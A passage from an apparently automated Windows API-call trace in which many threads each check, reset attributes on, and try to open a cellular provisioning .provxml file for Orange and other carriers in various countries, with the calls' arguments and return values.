users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.792] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.792] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2860) returned 1 [0181.792] RtlExitUserThread (Status=0x0) Thread: id = 3132 os_tid = 0x1028 [0181.692] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.771] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.771] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.771] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.771] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa22c0) returned 1 [0181.771] RtlExitUserThread (Status=0x0) Thread: id = 3133 os_tid = 0x102c [0181.692] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.770] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.770] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\535__connections_cellular_orange (moldova)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.770] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.770] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c50) returned 1 [0181.770] RtlExitUserThread (Status=0x0) Thread: id = 3134 os_tid = 0x1030 [0181.692] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.768] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.768] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.769] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056360) returned 1 [0181.769] RtlExitUserThread (Status=0x0) Thread: id = 3135 os_tid = 0x1034 [0181.693] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.810] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.811] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.811] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.811] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25b8) returned 1 [0181.811] RtlExitUserThread (Status=0x0) Thread: id = 3136 os_tid = 0x1038 [0181.693] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.791] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.791] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.791] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe21b0) returned 1 [0181.791] RtlExitUserThread (Status=0x0) Thread: id = 3137 os_tid = 0x103c [0181.694] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.789] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.790] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.790] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.790] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ccf8) returned 1 [0181.790] RtlExitUserThread (Status=0x0) Thread: id = 3138 os_tid = 0x1040 [0181.695] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.788] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.788] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.789] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.789] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3508) returned 1 [0181.789] RtlExitUserThread (Status=0x0) Thread: id = 3139 os_tid = 0x1044 [0181.696] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.786] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.786] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.786] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.786] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa37d8) returned 1 [0181.786] RtlExitUserThread (Status=0x0) Thread: id = 3140 os_tid = 0x1048 [0181.696] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.785] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.785] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.785] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.785] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa33a0) returned 1 [0181.785] RtlExitUserThread (Status=0x0) Thread: id = 3141 os_tid = 0x1050 [0181.696] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.784] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.784] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.784] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2428) returned 1 [0181.784] RtlExitUserThread (Status=0x0) Thread: id = 3142 os_tid = 0x1054 [0181.697] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.783] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.783] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.783] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.783] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30565f0) returned 1 [0181.783] RtlExitUserThread (Status=0x0) Thread: id = 3143 os_tid = 0x1058 [0181.697] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.781] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.782] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.782] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.782] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2308) returned 1 [0181.782] RtlExitUserThread (Status=0x0) Thread: id = 3144 os_tid = 0x105c [0181.836] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.837] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.837] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.837] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03270) returned 1 [0181.837] RtlExitUserThread (Status=0x0) Thread: id = 3145 os_tid = 0x1060 [0181.838] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.838] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.839] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.839] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.839] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f020f8) returned 1 [0181.839] RtlExitUserThread (Status=0x0) Thread: id = 3146 os_tid = 0x1064 [0181.840] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.840] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.840] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.840] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.840] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02500) returned 1 [0181.840] RtlExitUserThread (Status=0x0) Thread: id = 3147 os_tid = 0x1068 [0181.851] GetFileAttributesW 